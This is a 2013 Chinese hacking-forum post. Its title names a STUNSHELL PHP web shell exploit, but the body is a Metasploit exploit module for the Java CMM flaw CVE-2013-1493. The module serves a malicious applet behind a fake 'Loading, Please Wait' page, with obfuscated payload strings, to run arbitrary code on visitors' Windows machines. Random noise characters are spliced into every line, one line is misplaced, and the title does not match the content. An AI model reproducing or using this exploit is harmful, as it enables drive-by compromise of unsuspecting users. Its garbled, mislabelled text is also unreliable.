找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2552|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##
2 l! N! y$ G6 U6 e4 D) @* n( |# p- |; r$ g- K1 I9 `# ^: v/ t
# This file is part of the Metasploit Framework and may be subject to: {3 w+ l9 d8 y' R
# redistribution and commercial restrictions. Please see the Metasploit. w4 h. c3 l! \/ s( j, V) t
# web site for more information on licensing and terms of use.6 y& k+ X# V* b1 R" Y
# http://metasploit.com/  b3 X; x8 b" \! Y
##! h# p! H- j% d- c# M, i& J
require ‘msf/core’
7 y) G5 J1 z7 g% i9 H6 z7 orequire ‘rex’
4 J% V4 L( {# M# lclass Metasploit3 < Msf::Exploit::Remote- m8 }; n: \( O: e  Y
Rank = NormalRanking6 V6 H( n$ |, W
include Msf::Exploit::Remote::HttpServer::HTML
2 @5 ^3 H2 ~- Binclude Msf::Exploit::EXE$ ~5 S, O4 B7 t, Y- F* F% I6 w/ c
include Msf::Exploit::Remote::BrowserAutopwn
3 `( y' B, E: A4 ?autopwn_info({ :javascript => false })$ U/ J; h$ @  W0 X. }8 ?) t9 }5 P
def initialize( info = {} )* }9 }% N- E* a$ B1 q" K' L+ ~
super( update_info( info,1 o  z& a) E  t. ~3 \
‘Name’ => ‘Java CMM Remote Code Execution’,$ |% g" g7 ~) R0 \: M# T
‘Description’ => %q{" Y; Q; X4 s9 n# {
This module abuses the Color Management classes from a Java Applet to run
8 A2 z! V7 |' |( barbitrary Java code outside of the sandbox as exploited in the wild in February) O3 f) k$ y. R
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
, h! h; `* O1 Y! n" C2 Hand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP14 A: c# m/ C  Y8 d. |4 h4 ]
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
: S) J5 S9 j' u  T; Ywarning in order to run the malicious applet.
% F. f( W) A  M, R5 Y& {6 V},
% v. _! D5 P# Z: i/ W" Q; c‘License’ => MSF_LICENSE,' n5 W  A9 z2 _; Q5 }4 _
‘Author’ =>, a: M/ {" d) d( Z3 k
'Unknown', # Vulnerability discovery and Exploit  G3 X1 n, B& y8 s
'juan vazquez' # Metasploit module (just ported the published exploit)
1 t$ Q+ Q' P+ _3 ]; A  N],8 G  r! j# q4 S  Z# V7 [. v
‘References’ =>+ x4 @, p+ }  ], r1 ^! \, v
[
& H: p% h% T9 X0 l[ 'CVE', '2013-1493' ],
3 l# M# O/ X8 ?, o3 U% b[ 'OSVDB', '90737' ],
  r) W; `! Q, O: @[ 'BID', '58238' ],$ W6 x" `5 b3 |0 ?* S( Z: J8 i' ~% c
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
7 ?1 U/ d- X! o$ B3 X[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
& z0 P! F1 F# s7 |2 o/ e[ 'URL', 'http://pastie.org/pastes/6581034' ]% g8 L) c6 _4 A  j
],2 c( C$ |; y$ H5 M  Y- ?/ I' x3 K
‘Platform’ => [ 'win', 'java' ],- T" f2 w+ {+ p6 J: k
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
& r* I; {& \2 V! q‘Targets’ =>
3 I; P) t* M& N3 t[
- {8 v$ K; I( `* {$ [5 M+ X[ 'Generic (Java Payload)',( g9 k% @' g1 u+ U1 d8 A
{
" [8 m" C0 y) M$ i; d' v# O% h'Platform' => 'java',. K  }' V5 B, p
'Arch' => ARCH_JAVA
# a) z  \( L* [. y; `}+ M' t5 N" A8 |* A# j2 w
],' {3 M: c( ^) }8 a1 q, ]
[ 'Windows x86 (Native Payload)',8 U! f2 ~" v6 d" f
{
9 b5 `7 N" I4 V, s7 e3 f- P'Platform' => 'win',
0 y2 p0 Q  d; c0 X# \4 `! A$ r'Arch' => ARCH_X865 ^+ N3 o& c* a8 z
}
' C/ K* _3 t# V3 g; J]
5 X4 f' Q9 U5 C" `2 X],
* n1 I) c( W4 R4 E. O‘‘DisclosureDate’ => ‘Mar 01 2013′
8 O; q2 m! b/ }& {" c))
3 Q3 r0 D: p. a6 ?; Hend
  k$ u" [8 J8 d5 r% a* K+ O* Zdef setup) Y! h4 |/ O' @( n, k
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
5 R% V) e! _# O@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
% [  V% {8 |% }path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)2 L" D' a6 n8 B: C6 \8 L; M  x. S" l. m
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }8 r) _( C' m5 ~# n5 o+ F2 V$ Y
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
8 v# |0 J/ r1 s' H# m@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }+ D- C- W7 A, C( b3 D
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
1 I6 Q* ~' i' l3 y1 `@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
: s7 w/ Q+ Y3 `% b$ o@init_class_name = rand_text_alpha(“Init”.length)! j# V  {3 e5 V  T9 W" a
@init_class.gsub!(“Init”, @init_class_name)
3 A8 t6 K1 b, q7 |% d- Psuper8 I8 s; n' T$ c
end, |+ c9 L2 x; A3 L/ u- D% ~, _( m$ U7 _
def on_request_uri(cli, request)
* d% s% |  \1 ^print_status(“handling request for #{request.uri}”)
- r) i% D4 Q* w2 {/ Fcase request.uri
- D; t5 W0 V/ e8 I4 E+ ]) C8 F% S6 lwhen /\.jar$/i* z* X/ K8 |" E/ u8 C. o$ {
jar = payload.encoded_jar
( u8 z0 R0 R1 K+ z; Hjar.add_file(“#{@init_class_name}.class”, @init_class)
6 O2 y! U+ j1 z! y0 A" E2 t) mjar.add_file(“Leak.class”, @leak_class)
3 L5 F2 \" K% Gjar.add_file(“MyBufferedImage.class”, @buffered_image_class)
4 j5 E3 B( H: ~" G7 g* wjar.add_file(“MyColorSpace.class”, @color_space_class)
! k5 Y5 J: D6 y; E+ GDefaultTarget’ => 1,  D- @  f. E8 X) c0 s) n# F
metasploit_str = rand_text_alpha(“metasploit”.length)3 [3 [$ }" U5 [) y6 P0 v
payload_str = rand_text_alpha(“payload”.length)
# G* T: ?- y1 zjar.entries.each { |entry|4 \3 p% k  t9 W- `' x
entry.name.gsub!(“metasploit”, metasploit_str)
) N8 b, v; h  |( s+ B: o( `entry.name.gsub!(“Payload”, payload_str)( m) C8 Z3 N/ s" u
entry.data = entry.data.gsub(“metasploit”, metasploit_str)' v. c5 M/ U& z6 {
entry.data = entry.data.gsub(“Payload”, payload_str)
1 F& u6 w4 ~( V/ q1 {0 g}
4 J/ c6 _! a' |6 B7 a% h# c, Mjar.build_manifest
& }" @( k1 M5 o2 {4 Csend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })5 @! A8 t5 e& d! k5 C
when /\/$/8 r0 e5 m" M9 [; F: F% p
payload = regenerate_payload(cli)
$ T2 K3 }* _- q/ f5 ?# hif not payload
2 k& I7 a$ ^: B( l# Vprint_error(“Failed to generate the payload.”), O/ \) F3 k2 O/ |
send_not_found(cli)# O1 Z; V3 j% t+ v4 V3 Q
return
5 d& t- n; i; |( L& \; m' |: b9 rend
& {, D) s' D$ L6 |# w! S) vsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })7 ^" h6 c' L  T% B( E
else
5 v1 w% [* f7 Ysend_redirect(cli, get_resource() + ‘/’, ”)
4 o* X+ V6 e7 {# C0 j6 I; o$ U0 hend# o8 ?+ {, m7 d1 H# w
end
5 [7 n: k- b" |7 g8 Q1 T/ Bdef generate_html3 ~; q8 q  V6 k( T
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
8 V0 l- O6 N- Y1 V  Zhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
' a" T' E) E, @& G7 K; E. Nhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|, g) c4 A9 c! ?; W9 `
html += %Q|</applet></body></html>|
/ p  E& f: q  n6 c' s, ]3 breturn html. H0 K& [1 S' Q' B+ |( e8 v2 t
end! }$ f3 b& B+ h
end+ S1 ]0 r, a+ K$ B4 N* X( S
end
7 p* Y9 H" T' p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表